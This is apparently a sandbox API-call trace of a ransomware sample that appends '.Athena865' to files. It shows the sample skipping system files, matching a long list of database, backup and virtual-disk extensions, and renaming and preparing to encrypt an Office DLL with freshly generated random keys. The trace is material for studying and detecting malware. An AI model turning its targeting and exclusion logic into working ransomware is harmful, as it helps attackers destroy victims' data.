lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0081.815] lstrlenW (lpString="btr") returned 3 [0081.815] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0081.815] lstrlenW (lpString="cat") returned 3 [0081.815] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0081.815] lstrlenW (lpString="cdb") returned 3 [0081.815] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0081.815] lstrlenW (lpString="ckp") returned 3 [0081.815] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0081.815] lstrlenW (lpString="cma") returned 3 [0081.815] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0081.815] lstrlenW (lpString="cpd") returned 3 [0081.815] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0081.815] lstrlenW (lpString="dacpac") returned 6 [0081.815] lstrcmpiW (lpString1="IN.DLL", lpString2="dacpac") returned 1 [0081.815] lstrlenW (lpString="dad") returned 3 [0081.815] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0081.816] lstrlenW (lpString="dadiagrams") returned 10 [0081.816] lstrlenW (lpString="daschema") returned 8 [0081.816] lstrcmpiW (lpString1="MAIN.DLL", lpString2="daschema") returned 1 [0081.816] lstrlenW (lpString="db-journal") returned 10 [0081.816] lstrlenW (lpString="db-shm") returned 6 [0081.816] lstrcmpiW (lpString1="IN.DLL", lpString2="db-shm") returned 1 [0081.816] lstrlenW (lpString="db-wal") returned 6 [0081.816] lstrcmpiW (lpString1="IN.DLL", lpString2="db-wal") returned 1 [0081.816] lstrlenW (lpString="dbc") returned 3 [0081.816] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0081.816] lstrlenW (lpString="dbs") returned 3 [0081.816] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0081.816] lstrlenW (lpString="dbt") returned 3 [0081.816] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0081.816] lstrlenW (lpString="dbv") returned 3 [0081.816] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0081.816] lstrlenW (lpString="dbx") returned 3 [0081.816] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0081.816] lstrlenW (lpString="dcb") returned 3 [0081.816] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0081.816] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0081.816] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0081.816] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ONMAIN.DLL.Athena865") returned 63 [0081.816] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\onmain.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONMAIN.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onmain.dll.athena865"), dwFlags=0x1) returned 1 [0081.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONMAIN.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onmain.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0081.817] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13886312) returned 1 [0081.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0081.818] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0081.818] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0081.818] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0081.818] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0081.819] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.819] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd3e670, lpName=0x0) returned 0x154 [0081.821] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0xc00000, dwNumberOfBytesToMap=0x13e670) returned 0x2d50000 [0081.977] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0081.978] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0081.978] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.978] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0081.978] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0081.978] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0081.978] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0081.978] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.979] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0081.979] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0081.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0081.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0081.979] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0081.990] CloseHandle (hObject=0x154) returned 1 [0081.990] CloseHandle (hObject=0x17c) returned 1 [0081.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0081.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0081.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0081.999] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x598184b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xa8180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONPPTAddin.dll", cAlternateFileName="ONPPTA~1.DLL")) returned 1 [0081.999] lstrcmpiW (lpString1="ONPPTAddin.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0081.999] lstrcmpiW (lpString1="ONPPTAddin.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0081.999] lstrcmpiW (lpString1="ONPPTAddin.dll", lpString2=".") returned 1 [0081.999] lstrcmpiW (lpString1="ONPPTAddin.dll", lpString2="..") returned 1 [0081.999] lstrcmpiW (lpString1="ONPPTAddin.dll", lpString2="windows") returned -1 [0081.999] lstrcmpiW (lpString1="ONPPTAddin.dll", lpString2="bootmgr") returned 1 [0081.999] lstrcmpiW (lpString1="ONPPTAddin.dll", lpString2="temp") returned -1 [0081.999] lstrcmpiW (lpString1="ONPPTAddin.dll", lpString2="pagefile.sys") returned -1 [0081.999] lstrcmpiW (lpString1="ONPPTAddin.dll", lpString2="boot") returned 1 [0081.999] lstrcmpiW (lpString1="ONPPTAddin.dll", lpString2="ids.txt") returned 1 [0081.999] lstrcmpiW (lpString1="ONPPTAddin.dll", lpString2="ntuser.dat") returned 1 [0081.999] lstrcmpiW (lpString1="ONPPTAddin.dll", lpString2="perflogs") returned -1 [0081.999] lstrcmpiW (lpString1="ONPPTAddin.dll", lpString2="MSBuild") returned 1 [0081.999] lstrlenW (lpString="ONPPTAddin.dll") returned 14 [0081.999] lstrcpyW (in: lpString1=0x241e89e, lpString2="ONPPTAddin.dll" | out: lpString1="ONPPTAddin.dll") returned="ONPPTAddin.dll" [0081.999] lstrlenW (lpString="ONPPTAddin.dll") returned 14 [0081.999] lstrlenW (lpString="Athena865") returned 9 [0081.999] lstrcmpiW (lpString1="Addin.dll", lpString2="Athena865") returned -1 [0081.999] lstrlenW (lpString=".dll") returned 4 [0081.999] lstrcmpiW (lpString1="ONPPTAddin.dll", lpString2=".dll") returned 1 [0081.999] lstrlenW (lpString=".lnk") returned 4 [0081.999] lstrcmpiW (lpString1="ONPPTAddin.dll", lpString2=".lnk") returned 1 [0081.999] lstrlenW (lpString=".ini") returned 4 [0081.999] lstrcmpiW (lpString1="ONPPTAddin.dll", lpString2=".ini") returned 1 [0082.000] lstrlenW (lpString=".sys") returned 4 [0082.000] lstrcmpiW (lpString1="ONPPTAddin.dll", lpString2=".sys") returned 1 [0082.000] lstrlenW (lpString="ONPPTAddin.dll") returned 14 [0082.000] lstrlenW (lpString="bak") returned 3 [0082.000] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0082.000] lstrlenW (lpString="ba_") returned 3 [0082.000] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0082.000] lstrlenW (lpString="dbb") returned 3 [0082.000] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0082.000] lstrlenW (lpString="vmdk") returned 4 [0082.000] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0082.000] lstrlenW (lpString="rar") returned 3 [0082.000] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0082.000] lstrlenW (lpString="zip") returned 3 [0082.000] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0082.000] lstrlenW (lpString="tgz") returned 3 [0082.000] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0082.000] lstrlenW (lpString="vbox") returned 4 [0082.000] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0082.000] lstrlenW (lpString="vdi") returned 3 [0082.000] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0082.000] lstrlenW (lpString="vhd") returned 3 [0082.000] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0082.000] lstrlenW (lpString="vhdx") returned 4 [0082.000] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0082.000] lstrlenW (lpString="avhd") returned 4 [0082.000] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0082.000] lstrlenW (lpString="db") returned 2 [0082.000] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0082.000] lstrlenW (lpString="db2") returned 3 [0082.000] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0082.000] lstrlenW (lpString="db3") returned 3 [0082.000] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0082.000] lstrlenW (lpString="dbf") returned 3 [0082.001] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0082.001] lstrlenW (lpString="mdf") returned 3 [0082.001] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0082.001] lstrlenW (lpString="mdb") returned 3 [0082.001] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0082.001] lstrlenW (lpString="sql") returned 3 [0082.001] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0082.001] lstrlenW (lpString="sqlite") returned 6 [0082.001] lstrcmpiW (lpString1="in.dll", lpString2="sqlite") returned -1 [0082.001] lstrlenW (lpString="sqlite3") returned 7 [0082.001] lstrcmpiW (lpString1="din.dll", lpString2="sqlite3") returned -1 [0082.001] lstrlenW (lpString="sqlitedb") returned 8 [0082.001] lstrcmpiW (lpString1="ddin.dll", lpString2="sqlitedb") returned -1 [0082.001] lstrlenW (lpString="xml") returned 3 [0082.001] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0082.001] lstrlenW (lpString="$er") returned 3 [0082.001] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0082.001] lstrlenW (lpString="4dd") returned 3 [0082.001] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0082.001] lstrlenW (lpString="4dl") returned 3 [0082.001] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0082.001] lstrlenW (lpString="^^^") returned 3 [0082.001] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0082.001] lstrlenW (lpString="abs") returned 3 [0082.001] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0082.001] lstrlenW (lpString="abx") returned 3 [0082.001] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0082.001] lstrlenW (lpString="accdb") returned 5 [0082.001] lstrcmpiW (lpString1="n.dll", lpString2="accdb") returned 1 [0082.001] lstrlenW (lpString="accdc") returned 5 [0082.001] lstrcmpiW (lpString1="n.dll", lpString2="accdc") returned 1 [0082.001] lstrlenW (lpString="accde") returned 5 [0082.001] lstrcmpiW (lpString1="n.dll", lpString2="accde") returned 1 [0082.001] lstrlenW (lpString="accdr") returned 5 [0082.001] lstrcmpiW (lpString1="n.dll", lpString2="accdr") returned 1 [0082.002] lstrlenW (lpString="accdt") returned 5 [0082.002] lstrcmpiW (lpString1="n.dll", lpString2="accdt") returned 1 [0082.002] lstrlenW (lpString="accdw") returned 5 [0082.002] lstrcmpiW (lpString1="n.dll", lpString2="accdw") returned 1 [0082.002] lstrlenW (lpString="accft") returned 5 [0082.002] lstrcmpiW (lpString1="n.dll", lpString2="accft") returned 1 [0082.002] lstrlenW (lpString="adb") returned 3 [0082.002] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0082.002] lstrlenW (lpString="adb") returned 3 [0082.002] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0082.002] lstrlenW (lpString="ade") returned 3 [0082.002] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0082.002] lstrlenW (lpString="adf") returned 3 [0082.002] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0082.002] lstrlenW (lpString="adn") returned 3 [0082.002] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0082.002] lstrlenW (lpString="adp") returned 3 [0082.002] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0082.002] lstrlenW (lpString="alf") returned 3 [0082.002] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0082.002] lstrlenW (lpString="ask") returned 3 [0082.002] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0082.002] lstrlenW (lpString="btr") returned 3 [0082.002] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0082.002] lstrlenW (lpString="cat") returned 3 [0082.002] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0082.002] lstrlenW (lpString="cdb") returned 3 [0082.002] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0082.002] lstrlenW (lpString="ckp") returned 3 [0082.002] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0082.002] lstrlenW (lpString="cma") returned 3 [0082.002] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0082.002] lstrlenW (lpString="cpd") returned 3 [0082.002] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0082.003] lstrlenW (lpString="dacpac") returned 6 [0082.003] lstrcmpiW (lpString1="in.dll", lpString2="dacpac") returned 1 [0082.003] lstrlenW (lpString="dad") returned 3 [0082.003] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0082.003] lstrlenW (lpString="dadiagrams") returned 10 [0082.003] lstrcmpiW (lpString1="TAddin.dll", lpString2="dadiagrams") returned 1 [0082.003] lstrlenW (lpString="daschema") returned 8 [0082.003] lstrcmpiW (lpString1="ddin.dll", lpString2="daschema") returned 1 [0082.003] lstrlenW (lpString="db-journal") returned 10 [0082.003] lstrcmpiW (lpString1="TAddin.dll", lpString2="db-journal") returned 1 [0082.003] lstrlenW (lpString="db-shm") returned 6 [0082.003] lstrcmpiW (lpString1="in.dll", lpString2="db-shm") returned 1 [0082.003] lstrlenW (lpString="db-wal") returned 6 [0082.003] lstrcmpiW (lpString1="in.dll", lpString2="db-wal") returned 1 [0082.003] lstrlenW (lpString="dbc") returned 3 [0082.003] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0082.003] lstrlenW (lpString="dbs") returned 3 [0082.003] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0082.003] lstrlenW (lpString="dbt") returned 3 [0082.003] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0082.003] lstrlenW (lpString="dbv") returned 3 [0082.003] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0082.003] lstrlenW (lpString="dbx") returned 3 [0082.003] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0082.003] lstrlenW (lpString="dcb") returned 3 [0082.003] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0082.003] lstrlenW (lpString="dct") returned 3 [0082.003] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0082.003] lstrlenW (lpString="dcx") returned 3 [0082.003] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0082.003] lstrlenW (lpString="ddl") returned 3 [0082.003] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0082.003] lstrlenW (lpString="dlis") returned 4 [0082.003] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0082.003] lstrlenW (lpString="dp1") returned 3 [0082.004] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0082.004] lstrlenW (lpString="dqy") returned 3 [0082.004] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0082.004] lstrlenW (lpString="dsk") returned 3 [0082.004] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0082.004] lstrlenW (lpString="dsn") returned 3 [0082.004] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0082.004] lstrlenW (lpString="dtsx") returned 4 [0082.004] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0082.004] lstrlenW (lpString="dxl") returned 3 [0082.004] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0082.004] lstrlenW (lpString="eco") returned 3 [0082.004] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0082.004] lstrlenW (lpString="ecx") returned 3 [0082.004] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0082.004] lstrlenW (lpString="edb") returned 3 [0082.004] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0082.004] lstrlenW (lpString="epim") returned 4 [0082.004] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0082.004] lstrlenW (lpString="fcd") returned 3 [0082.004] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0082.004] lstrlenW (lpString="fdb") returned 3 [0082.004] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0082.004] lstrlenW (lpString="fic") returned 3 [0082.004] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0082.004] lstrlenW (lpString="flexolibrary") returned 12 [0082.004] lstrcmpiW (lpString1="PPTAddin.dll", lpString2="flexolibrary") returned 1 [0082.004] lstrlenW (lpString="fm5") returned 3 [0082.004] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0082.004] lstrlenW (lpString="fmp") returned 3 [0082.004] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0082.004] lstrlenW (lpString="fmp12") returned 5 [0082.004] lstrcmpiW (lpString1="n.dll", lpString2="fmp12") returned 1 [0082.004] lstrlenW (lpString="fmpsl") returned 5 [0082.004] lstrcmpiW (lpString1="n.dll", lpString2="fmpsl") returned 1 [0082.005] lstrlenW (lpString="fol") returned 3 [0082.005] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0082.005] lstrlenW (lpString="fp3") returned 3 [0082.005] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0082.005] lstrlenW (lpString="fp4") returned 3 [0082.005] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0082.005] lstrlenW (lpString="fp5") returned 3 [0082.005] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0082.005] lstrlenW (lpString="fp7") returned 3 [0082.005] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0082.005] lstrlenW (lpString="fpt") returned 3 [0082.005] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0082.005] lstrlenW (lpString="frm") returned 3 [0082.005] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0082.005] lstrlenW (lpString="gdb") returned 3 [0082.005] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0082.005] lstrlenW (lpString="gdb") returned 3 [0082.005] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0082.005] lstrlenW (lpString="grdb") returned 4 [0082.005] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0082.005] lstrlenW (lpString="gwi") returned 3 [0082.005] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0082.005] lstrlenW (lpString="hdb") returned 3 [0082.005] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0082.005] lstrlenW (lpString="his") returned 3 [0082.005] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0082.005] lstrlenW (lpString="ib") returned 2 [0082.005] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0082.005] lstrlenW (lpString="idb") returned 3 [0082.005] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0082.005] lstrlenW (lpString="ihx") returned 3 [0082.005] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0082.005] lstrlenW (lpString="itdb") returned 4 [0082.005] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0082.006] lstrlenW (lpString="itw") returned 3 [0082.006] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0082.006] lstrlenW (lpString="jet") returned 3 [0082.006] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0082.006] lstrlenW (lpString="jtx") returned 3 [0082.006] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0082.006] lstrlenW (lpString="kdb") returned 3 [0082.006] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0082.006] lstrlenW (lpString="kexi") returned 4 [0082.006] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0082.006] lstrlenW (lpString="kexic") returned 5 [0082.006] lstrcmpiW (lpString1="n.dll", lpString2="kexic") returned 1 [0082.006] lstrlenW (lpString="kexis") returned 5 [0082.006] lstrcmpiW (lpString1="n.dll", lpString2="kexis") returned 1 [0082.006] lstrlenW (lpString="lgc") returned 3 [0082.006] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0082.006] lstrlenW (lpString="lwx") returned 3 [0082.006] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0082.006] lstrlenW (lpString="maf") returned 3 [0082.006] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0082.006] lstrlenW (lpString="maq") returned 3 [0082.006] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0082.006] lstrlenW (lpString="mar") returned 3 [0082.006] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0082.006] lstrlenW (lpString="marshal") returned 7 [0082.006] lstrcmpiW (lpString1="din.dll", lpString2="marshal") returned -1 [0082.006] lstrlenW (lpString="mas") returned 3 [0082.006] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0082.006] lstrlenW (lpString="mav") returned 3 [0082.006] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0082.006] lstrlenW (lpString="maw") returned 3 [0082.006] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0082.006] lstrlenW (lpString="mdbhtml") returned 7 [0082.006] lstrcmpiW (lpString1="din.dll", lpString2="mdbhtml") returned -1 [0082.007] lstrlenW (lpString="mdn") returned 3 [0082.007] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0082.007] lstrlenW (lpString="mdt") returned 3 [0082.007] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0082.007] lstrlenW (lpString="mfd") returned 3 [0082.007] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0082.007] lstrlenW (lpString="mpd") returned 3 [0082.007] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0082.007] lstrlenW (lpString="mrg") returned 3 [0082.007] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0082.007] lstrlenW (lpString="mud") returned 3 [0082.007] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0082.007] lstrlenW (lpString="mwb") returned 3 [0082.007] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0082.007] lstrlenW (lpString="myd") returned 3 [0082.007] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0082.007] lstrlenW (lpString="ndf") returned 3 [0082.007] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0082.007] lstrlenW (lpString="nnt") returned 3 [0082.007] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0082.007] lstrlenW (lpString="nrmlib") returned 6 [0082.007] lstrcmpiW (lpString1="in.dll", lpString2="nrmlib") returned -1 [0082.007] lstrlenW (lpString="ns2") returned 3 [0082.007] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0082.007] lstrlenW (lpString="ns3") returned 3 [0082.007] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0082.007] lstrlenW (lpString="ns4") returned 3 [0082.007] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0082.007] lstrlenW (lpString="nsf") returned 3 [0082.007] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0082.007] lstrlenW (lpString="nv") returned 2 [0082.007] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0082.007] lstrlenW (lpString="nv2") returned 3 [0082.008] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0082.008] lstrlenW (lpString="nwdb") returned 4 [0082.008] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0082.008] lstrlenW (lpString="nyf") returned 3 [0082.008] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0082.008] lstrlenW (lpString="odb") returned 3 [0082.008] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0082.008] lstrlenW (lpString="odb") returned 3 [0082.008] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0082.008] lstrlenW (lpString="oqy") returned 3 [0082.008] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0082.008] lstrlenW (lpString="ora") returned 3 [0082.008] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0082.008] lstrlenW (lpString="orx") returned 3 [0082.008] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0082.008] lstrlenW (lpString="owc") returned 3 [0082.008] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0082.008] lstrlenW (lpString="p96") returned 3 [0082.008] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0082.008] lstrlenW (lpString="p97") returned 3 [0082.008] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0082.008] lstrlenW (lpString="pan") returned 3 [0082.008] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0082.008] lstrlenW (lpString="pdb") returned 3 [0082.008] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0082.008] lstrlenW (lpString="pdm") returned 3 [0082.008] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0082.008] lstrlenW (lpString="pnz") returned 3 [0082.008] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0082.008] lstrlenW (lpString="qry") returned 3 [0082.008] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0082.008] lstrlenW (lpString="qvd") returned 3 [0082.008] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0082.008] lstrlenW (lpString="rbf") returned 3 [0082.008] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0082.009] lstrlenW (lpString="rctd") returned 4 [0082.009] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0082.009] lstrlenW (lpString="rod") returned 3 [0082.009] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0082.009] lstrlenW (lpString="rodx") returned 4 [0082.009] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0082.009] lstrlenW (lpString="rpd") returned 3 [0082.009] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0082.009] lstrlenW (lpString="rsd") returned 3 [0082.009] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0082.009] lstrlenW (lpString="sas7bdat") returned 